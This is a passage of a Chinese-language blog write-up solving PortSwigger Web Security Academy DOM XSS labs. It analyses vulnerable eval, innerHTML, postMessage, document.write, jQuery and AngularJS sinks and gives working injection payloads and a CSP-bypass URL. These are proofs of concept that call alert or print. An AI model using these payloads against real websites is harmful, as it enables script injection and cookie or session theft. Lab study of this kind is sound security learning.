https://…/feedback?returnPath=javascript:alert(document.cookie)

4. 反射的DOM XSS (Reflected DOM XSS)

分析数据报发现,在搜索框中输入相关内容,会产生相关数据包

  • GET /?search=YOUR INPUT 发给后端服务器。search为SOURCE
<script src='resources/js/searchResults.js'></script>
<script>search('search-results')</script>
  • 后端服务器处理后响应 search-results。(前端页面调用search方法,下一步再讲)
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 41

{"results":[],"searchTerm":"YOUR INPUT"}
  • 前端页面调用resources/js/searchResults.js 处理服务器响应的数据。找到危险函数eval(SINK)(此js提供前面提到的search)
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Cache-Control: public, max-age=3600
Connection: close
Content-Length: 2728

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
        //eval可执行任意代码,且respinseText,就对应上面返回的json内容
            displaySearchResults(searchResultsObj);
            eval('var searchResultsObj = ' + this.responseText); 
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

综上分析可知,若能控制search参数值,在响应JSON中能正确产生XSS payload,在search函数中的eval函数将执行,dom漏洞就产生了
需要闭合json双引号,独立执行alert(),合理闭合}。

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 43

{"results":[],"searchTerm":"\"-alert(1)//"}

发现双引号自动反斜杠转义。根据规律构造如下两种payload均能成功注入
\"}-alert(1)//
\"-alert(1)}//

5.存储型DOM XSS (Stored DOM XSS)

分析数据报发现,留言功能区

  • /post?postId=5
<script src='resources/js/loadCommentsWithVulnerableEscapeHtml.js'></script>
<script>loadComments('/post/comment')</script>
  • /resources/js/loadCommentsWithVulnerableEscapeHtml.js

分析代码发现,escapeHTML 会转码 html.replace(‘<’, ‘<’).replace(‘>’, ‘>’);

function loadComments(postCommentPath) {
    
    
  let xhr = new XMLHttpRequest();
  xhr.onreadystatechange = function() {
    
    
    if (this.readyState == 4 && this.status == 200) {
    
    
      let comments = JSON.parse(this.responseText);
      displayComments(comments);
    }
  };
  xhr.open("GET", postCommentPath + window.location.search);
  xhr.send();
  
  function escapeHTML(html) {
    
    
    return html.replace('<', '&lt;').replace('>', '&gt;');
  }
  • 经过过滤和响应为json

     /post/comment?postId=5
    

发现单引号、双引号、反斜杠均会反斜杠转义。

{
    
    
  "avatar":"",
 "website":"https://EXAMPLE.com",
 "date":"2022-05-07T07:58:11.418642185Z",
 "body":"<>\\\\<script>'<\\script>\"",
 "author":"heason1"
}

综上测试<><img src=1 onerror=alert(1)>

尝试是否当第一个参数是字符串时,该函数仅替换第一个匹配项。如是这样我们只需在注释开头添加一组额外的尖括号即可利用此漏洞

<p>
<a id="author" href="http://www.a.com"></a>heason6 | 07-05-2022
<img class="avatar" src="/resources/images/avatarDefault.svg">
</p>
<p>&lt;&gt;
<img src="1" οnerrοr="alert(1)">    
</p>

成功执行alert()

6.使用Web消息的DOM XSS(DOM XSS using web messages

首页查看html发现

<script>
    window.addEventListener('message', function(e) {
      
      
        document.getElementById('ads').innerHTML = e.data;
    })
</script>

未过滤接受的信息,且inertHTML 会执行HTML代码,明显存在漏洞。注意不能直接使用js函数,需构造HTML

<iframe src="漏洞网站页面地址" onload="this.contentWindow.postMessage('<img src=1 οnerrοr=print()>', '*')">

7.使用Web消息和JavaScript URL的DOM XSS(DOM XSS using web messages and a JavaScript URL)

首页查看html发现

<script>
  window.addEventListener('message', function(e) {
      
      
      var url = e.data;
      if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
      
      
          location.href = url;
      }
  }, false);
</script>

需构造含有http: 或https:的payload

<iframe src="漏洞网站页面地址" onload="this.contentWindow.postMessage('javascript:print()//http:', '*')">

href方法要执行js,要使用伪协议 javascript:js

8、使用Web消息和JSON.parse的DOM XSS(DOM XSS using web messages and JSON.parse

<script>
    window.addEventListener('message', function(e) {
      
      
        var iframe = document.createElement('iframe'), ACMEplayer = {
      
      element: iframe}, d;
        document.body.appendChild(iframe);
        try {
      
      
            d = JSON.parse(e.data);
        } catch(e) {
      
      
            return;
        }
        switch(d.type) {
      
      
            case "page-load":
                ACMEplayer.element.scrollIntoView();
                break;
            case "load-channel":
                ACMEplayer.element.src = d.url;
                break;
            case "player-height-changed":
                ACMEplayer.element.style.width = d.width + "px";
                ACMEplayer.element.style.height = d.height + "px";
                break;
        }
    }, false);
</script>
<iframe src=https://your-lab-id.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>

9、 文档中的DOM XSS (DOM XSS in document.write sink using source location.search inside a select element

在产品页GET /product?productId=1 发现如下代码

<script>
    var stores = ["London","Paris","Milan"];
  // store为SOURCE(直接获取用户输入URL中的参数storeId的值)
    var store = (new URLSearchParams(window.location.search)).get('storeId');
    document.write('<select name="storeId">');
    if(store) {
      
      
      // write为SINK
        document.write('<option selected>'+store+'</option>');
    }
    for(var i=0;i<stores.length;i++) {
      
      
        if(stores[i] === store) {
      
      
            continue;
        }
        document.write('<option>'+stores[i]+'</option>');
    }
    document.write('</select>');
</script>
GET /product?productId=1&storeId=</select><img%20src=1%20οnerrοr=alert(1)> HTTP/1.1

&storeId=<img%20src=1%20οnerrοr=alert(1)>

10、 使用hashchange事件的jQuery选择器接收器中的DOM XSS (DOM XSS in jQuery selector sink using a hashchange event

首页中存在

<script>
    $(window).on('hashchange', function(){
    
    
        var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
        if (post) post.get(0).scrollIntoView();
    });
</script>

尝试构造payload

<iframe src="https://acd81f9b1f0a38bbc07429dd005500b7.web-security-academy.net/#" onload="this.src+='<img%20src=1%20οnerrοr=print()>'">

成功

11、 AngularJS表达式中的DOM XSS (DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

首页HTML中含有 ng-app 判断使用AngularJS,该框架可使用双花括号执行js代码

构造攻击payload `{ {$on.constructor('alert(1)')()}}`

12. 反射XSS受非常严格的CSP保护,带有悬挂标记攻击 (Reflected XSS protected by very strict CSP, with dangling markup attack)

暂略

13. 反射XSS受CSP保护,带CSP旁路 (Reflected XSS protected by CSP, with CSP bypass

在搜索框中输入 <img src=1 onerror=alert(1)>页面有响应但是不会执行行内js

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=
Connection: close
Content-Length: 3147
<section class=blog-header>
    <h1>0 search results for '<img src=1 onerror=alert(1)>'</h1>
    <hr>
</section>

报文头部有report-uri /csp-report?token=
需要绕过CSP
浏览器地址栏中输入PAYLOAD
https://your-lab-id.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27

猜你喜欢

转载自blog.csdn.net/eason612/article/details/124759941
今日推荐